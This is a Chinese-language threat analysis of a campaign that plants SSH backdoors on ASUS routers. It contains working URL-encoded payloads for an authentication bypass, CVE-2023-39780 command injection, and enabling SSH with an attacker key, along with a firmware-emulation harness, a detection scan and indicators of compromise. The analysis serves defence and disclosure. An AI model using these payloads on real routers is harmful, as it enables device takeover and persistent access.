part1
点击上方蓝字关注我们
将二进制空间安全设为"星标⭐️"
第一时间收到文章更新
攻击大致流程
这波针对ASUS路由器的攻击浪潮, 手法结合了新旧技术, 在初期通过暴力破解方式攻击login.cgi后, 攻击者又尝试利用旧的认证绕过漏洞。通过这些方式获取对ASUS路由器的特权访问后,攻击者利用命令注入漏洞在路径/tmp/BWSQL_LOG下创建一个空文件。该文件的存在会启用BWDPI日志功能, 这是嵌入在ASUS路由器中的TrendMicro功能。
攻击者通过官方ASUS设置启用了高端口(TCP/53282)的远程SSH功能,并将其控制的公钥添加到路由器的密钥列表中。这为攻击者提供了专属SSH访问权限。此外,这个后门是通过官方设置配置的,它即使在固件升级后也能持续存在,即使原始漏洞被修补也无济于事。
攻击者添加的公钥如下:
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo41nBoVFfj4HlVMGV+YPsxMDrMlbdDZJ8L5mzhhaxfGzpHR8Geay/xDlVDSJ8MJwA4RJ7o21KVfRXqFblQH4L6fWIYd1ClQbZ6Kk1uA1r7qx1qEQ2PqdVMhnNdHACvCVz/MPHTVebtkKhEl98MZiMOvUNPtAC9ppzOSi7xz3cSV0n1pG/dj+37pzuZUpm4oGJ3XQR2tUPz5MddupjJq9/gmKH6SJjTrHKSECe5yEDs6c3v6uN4dnFNYA5MPZ52FGbkhzQ5fy4dPNf0peszR28XGkZk9ctORNCGXZZ4bEkGHYut5uvwVK1KZOYJRmmj63drEgdIioFv/x6IcCcKgi2w== rsa 2048
ASUS路由器常见弱点
(1). POST /start_apply.htm
这个路径在 ASUS 路由器被利用时非常常见, 它是多个已认证功能调用的常见入口点。
(2). User-Agent: asusrouter--
最早提及这个 User-Agent 的地方是 ATREDIS-2020-0010,其中 asusrouter--
是 ASUS 内部函数使用的用户代理。
参考链接:
https://github.com/atredispartners/advisories/blob/5e60e0ad0e84489e6aab12bd0d8ab615364af2f8/ATREDIS-2020-0010.md#technical-details
(3). Cookie: asus_token=
该漏洞之所以有效,正是因为它本质上是不可见的。这就是要做完整 PCAP 捕获的原因。
00000000: 617375735f74 6f6b 656e 3d00 asus_token=.
这个 NULL 字节(0x00)会导致某些认证机制中的字符串解析过早终止,从而绕过某些 ASUS 固件中的安全检查。
攻击Payload分析
将Payload拆解成以下部分会更容易理解:
current_page=AiProtection_HomeProtection.asp&action_wait=15&action_mode=apply&action_script=restart_wrs%3Brestart_firewall%3B&wrs_protect_enable=1
wrs_protect_enable=1
, 该设置是 AiProtection_HomeProtection.asp 中常见的易受攻击功能。current_page=AiProtection_HomeProtection.asp&action_wait=15&action_mode=apply&action_script=restart_wrs%3Brestart_firewall%3Bemail_conf%3Bsend_confirm_mail&oauth_google_refresh_token=%27%60touch+%2Ftmp%2FBWSQL_LOG%60%27
这个Payload利用了漏洞:CVE-2023-39780, 这是 ASUS RT-AX55 固件 v3.0.0.4.386.51598 中的一个已认证命令注入漏洞,允许攻击者执行任意系统命令。
关于CVE-2023-39780漏洞, 可参考:https://nvd.nist.gov/vuln/detail/CVE-2023-39780
Payload执行的命令为: touch /tmp/BWSQL_LOG
这个命令非常特殊, 结果表明, 这个文件的存在会启用"BandWidth SQLLite LOGging", 换句话说, ASUS路由器的bwsdpi_sqlite
二进制文件中大约有40个函数结构类似于下面这段代码:
if (f_exists("/tmp/BWSQL_LOG") > 0){ var_8f0_1 = &var_7e0; str_1 = str; snprintf(&var_420, 0x400, "echo "[BWDPI_SQLITE]%d/%d[%s] %s…", i_3, j_1, str_1, var_8f0_1); system(&var_420); // DANGER}
这段代码将可能受到用户控制的数据传递到格式化字符串中, 再直接传递给system()
调用,这种方式很容易被用来进行命令注入。
神秘的CVE
要了解该漏洞的形成原理,可参考:https://leeyabug.top/ASUS-SQLI
如果想确保在被踢出路由器后仍能再次访问,这确实是个有效手段。看下面的Payload:
current_page=Advanced_System_Content.asp&next_page=Advanced_System_Content.asp&modified=0&flag=&action_mode=apply&action_wait=5&action_script=restart_time%3Brestart_upnp%3Brestart_usb_idle%3B&first_time=&preferred_lang=EN&reboot_schedule_enable=0&reboot_schedule_enable_x=0&telnetd_enable=0&sshd_enable=1&sshd_port=53282&sshd_port_x=53282&sshd_pass=0&sshd_authkeys=ssh-rsa+AAAAB3NzaC1yc2EAAAABIwAAAQEAo41nBoVFfj4HlVMGV%2BYPsxMDrMlbdDZJ8L5mzhhaxfGzpHR8Geay%2FxDlVDSJ8MJwA4RJ7o21KVfRXqFblQH4L6fWIYd1ClQbZ6Kk1uA1r7qx1qEQ2PqdVMhnNdHACvCVz%2FMPHTVebtkKhEl98MZiMOvUNPtAC9ppzOSi7xz3cSV0n1pG%2Fdj%2B37pzuZUpm4oGJ3XQR2tUPz5MddupjJq9%2FgmKH6SJjTrHKSECe5yEDs6c3v6uN4dnFNYA5MPZ52FGbkhzQ5fy4dPNf0peszR28XGkZk9ctORNCGXZZ4bEkGHYut5uvwVK1KZOYJRmmj63drEgdIioFv%2Fx6IcCcKgi2w%3D%3D+rsa+2048-020623&shell_timeout_x=20
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo41nBoVFfj4HlVMGV+YPsxMDrMlbdDZJ8L5mzhhaxfGzpHR8Geay/xDlVDSJ8MJwA4RJ7o21KVfRXqFblQH4L6fWIYd1ClQbZ6Kk1uA1r7qx1qEQ2PqdVMhnNdHACvCVz/MPHTVebtkKhEl98MZiMOvUNPtAC9ppzOSi7xz3cSV0n1pG/dj+37pzuZUpm4oGJ3XQR2tUPz5MddupjJq9/gmKH6SJjTrHKSECe5yEDs6c3v6uN4dnFNYA5MPZ52FGbkhzQ5fy4dPNf0peszR28XGkZk9ctORNCGXZZ4bEkGHYut5uvwVK1KZOYJRmmj63drEgdIioFv/x6IcCcKgi2w== rsa 2048-020623
因为这个密钥是通过官方 ASUS 设置添加的,所以即使在固件升级后,该配置更改仍然保留。如果之前被入侵过,仅仅升级固件不会移除SSH 后门。
如何证明这几千台路由器是被植入了这个SSH公钥呢?
可以使用这款工具- sshamble, 地址:
https://github.com/runZeroInc/sshamble
在该工具中,输入攻击者的公钥文件(attacker.pub)和用户名, 即可判断远程主机是否已插入该公钥。
在这个攻击事件中,攻击者掌握了一个关键信息-用户名, 根据推测, 该信息是通过先前的暴力破解收集而来, 在样本数达到约5000的情况下, 很有可能至少有一个用户的用户名为:admin。
运行的命令如下:
sshamble scan --checks pubkey-hunt -u admin --pubkey-hunt-file attacker.pub --input-targets censys-ips.txt
"pubKeyHuntResults": ["ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo41nBoVFfj4HlVMGV+YPsxMDrMlbdDZJ8L5mzhhaxfGzpHR8Geay/xDlVDSJ8MJwA4RJ7o21KVfRXqFblQH4L6fWIYd1ClQbZ6Kk1uA1r7qx1qEQ2PqdVMhnNdHACvCVz/MPHTVebtkKhEl98MZiMOvUNPtAC9ppzOSi7xz3cSV0n1pG/dj+37pzuZUpm4oGJ3XQR2tUPz5MddupjJq9/gmKH6SJjTrHKSECe5yEDs6c3v6uN4dnFNYA5MPZ52FGbkhzQ5fy4dPNf0peszR28XGkZk9ctORNCGXZZ4bEkGHYut5uvwVK1KZOYJRmmj63drEgdIioFv/x6IcCcKgi2w== admin" ]
攻击演示
这里准备了一台受影响的物理 ASUS RT-AX55 设备(该设备存在 CVE-2023-39780 漏洞),并利用上述Payload成功执行了命令并启用了 netcat
监听,无任何问题。
现在手上有两个固件版本:
FW_RT_AX55_300438651598.zip(旧的)和FW_RT_AX55_300438652332.zip(最新)
利用 unblob
和 binwalk
快速提取出 squashfs-root 文件系统。
unblod开源地址:
https://github.com/onekey-sec/unblob
binwalk开源地址:
https://github.com/ReFirmLabs/binwalk
旧版的易受攻击函数大致如下:
nvram_set("oauth_google_token_status", &data_174fea[0xf]);voidvar_410;memset(&var_410, 0, 0x400);if (!check_if_dir_exist("/tmp/oauth/"))mkdir("/tmp/oauth/", 0x1ed);snprintf(&var_410, 0x400, "wget --no-check-certificate --ti…", 3, 1, nvram_get(), "103584452676-437qj6gd8o9tuncit9h…", "xivDhVGSSHZ3LJMx228wdcDf", "refresh_token", "/tmp/oauth/google_access_token.j…", "https://www.googleapis.com/oauth…");if (f_exists("/tmp/OAUTH_DEBUG") > 0)cprintf("[OAUTH][%s:(%d)]post cmd : %sn", "oauth_google_check_token_status", 0x5b6, &var_410);system(&var_410); // DANGER
libshared.so
中的外部函数 is_valid_auth_code
的 if
判断中。if (is_valid_oauth_code()){ //Same code as before}
libshared.so
,并输出 is_valid_auth_code
函数允许的字符列表,从而帮助我们测试输入,并将输入传递给与原始二进制中相同的 snprintf
和 system
调用。#Cross compilearmv5-eabi--glibc--stable-2020.02-1/bin/arm-linux-gcc -o callshared.elf callshared.c -ldl#ELF checkfile callshared.elf#Move binary into firmware squashfs rootcp callshared.elf ./squashfs-root/bin/callshared.elf#Move QEMU emulator binary into squashfs rootcp /usr/bin/qemu-arm-static ./squashfs-root/bin/qemu-arm-static#Change root, load libshared.so, execute our hooksudo chroot ./squashfs-root/ qemu-arm-static -E LD_PRELOAD="/usr/lib/libshared.so" /bin/busybox sh -c "/bin/callshared.elf"
callshared.c
#include<stdio.h>#include<stdint.h>#include<dlfcn.h>#include<string.h>#define MAX_INPUT 4096intmain(){void *handle;int (*oc)(char *); // Function pointer with return type intchar *error;char input[MAX_INPUT];int result;__uint8_t curChar;// Open the shared object file handle = dlopen("libshared.so", RTLD_LAZY);if (!handle) {fprintf(stderr, "%sn", dlerror());return1; }// Get a pointer to the is_valid_oauth_code function oc = (int (*)(char *))dlsym(handle, "is_valid_oauth_code");if ((error = dlerror()) != NULL) {fprintf(stderr, "%sn", error); dlclose(handle);return1; }for (uint16_t i = 0; i <= 0xFF; i++) {uint8_t byte_value = (uint8_t)i;char char_value = (char)byte_value; result = (*oc)(&char_value);if (result) {printf("Value: %3u, Hex: 0x%02X, Char: %cn", byte_value, byte_value, char_value); } }// Get user inputwhile (1) {printf("Enter an oauth code: ");if (fgets(input, MAX_INPUT, stdin) == NULL) {fprintf(stderr, "Error reading inputn"); dlclose(handle);return1; }// Remove newline character if present input[strcspn(input, "n")] = 0;// Call the is_valid_oauth_code function with user input and store the result result = (*oc)(input);// Print the returned valueprintf("Return value: %dn", result);if (result) {char buffer[1024];int o = snprintf(&buffer,1024,"wget --no-check-certificate --timeout=%d --tries=%d --method POST --header 'content-type: application/x-www-form-urlencoded' --header 'cache-control: no-cache' --body-data 'refresh_token=%s&client_id=%s&client_secret=%s&grant_type=%s' --output-document=%s %s",3,1, input,"103584452676-437qj6gd8o9tuncit9h8h7cendd2eg58.apps.googleusercontent.com","xivDhVGSSHZ3LJMx228wdcDf","refresh_token","/tmp/oauth/google_access_token.json",//IP for example.com since DNS resolver doesn't exist inside emulated sandbox"http://23.215.0.136/AAAAAAAAAAAAAAAAAAA");printf("Overflowed: %d", o);printf("n%sn", buffer);int e = system(buffer); } }// Close the shared object dlclose(handle);return0;}
原始的易受攻击的 CVE-2023-39780 工作流程为 auth_google_check_token_status
,该漏洞已在 FW_RT_AX55_300438652332 固件中得到正确修复。 新的 is_valid_oauth_code
函数对缓冲区大小进行了验证,设置为 2048 字节,而 snprintf
使用的是 1024 字节,这可能会导致截断。然而,由于令牌被包含在单引号 '
中,这只会导致 shell 报错。由于该函数中的单引号无法被转义,因此无法绕过该限制。
请求体示例:
--body-data 'refresh_token=AAAAAAAAAAAAAAAAAAAAA(...)
sh: syntax error: unterminated quoted string
auth_google_check_token_status
几乎一模一样的函数,看看开发者是否忘了在这些地方也加上单引号保护。如果不会逆向分析,也无法自行验证, 那就把你的 ASUS 路由器彻底断网吧。威胁指标
IP:
101.99.91.151
101.99.94.173
79.141.163.179
111.90.146.237
ASUS Filesystem:
/tmp/BWSQL-LOG
/tmp/home/root/.ssh/authorized_keys
Pubkey:
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAo41nBoVFfj4HlVMGV+YPsxMDrMlbdDZJ8L5mzhhaxfGzpHR8Geay/xDlVDSJ8MJwA4RJ7o21KVfRXqFblQH4L6fWIYd1ClQbZ6Kk1uA1r7qx1qEQ2PqdVMhnNdHACvCVz/MPHTVebtkKhEl98MZiMOvUNPtAC9ppzOSi7xz3cSV0n1pG/dj+37pzuZUpm4oGJ3XQR2tUPz5MddupjJq9/gmKH6SJjTrHKSECe5yEDs6c3v6uN4dnFNYA5MPZ52FGbkhzQ5fy4dPNf0peszR28XGkZk9ctORNCGXZZ4bEkGHYut5uvwVK1KZOYJRmmj63drEgdIioFv/x6IcCcKgi2w== rsa 2048
原文始发于微信公众号(二进制空间安全):升级固件也没用!华硕路由器被通过官方配置植入SSH后门
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论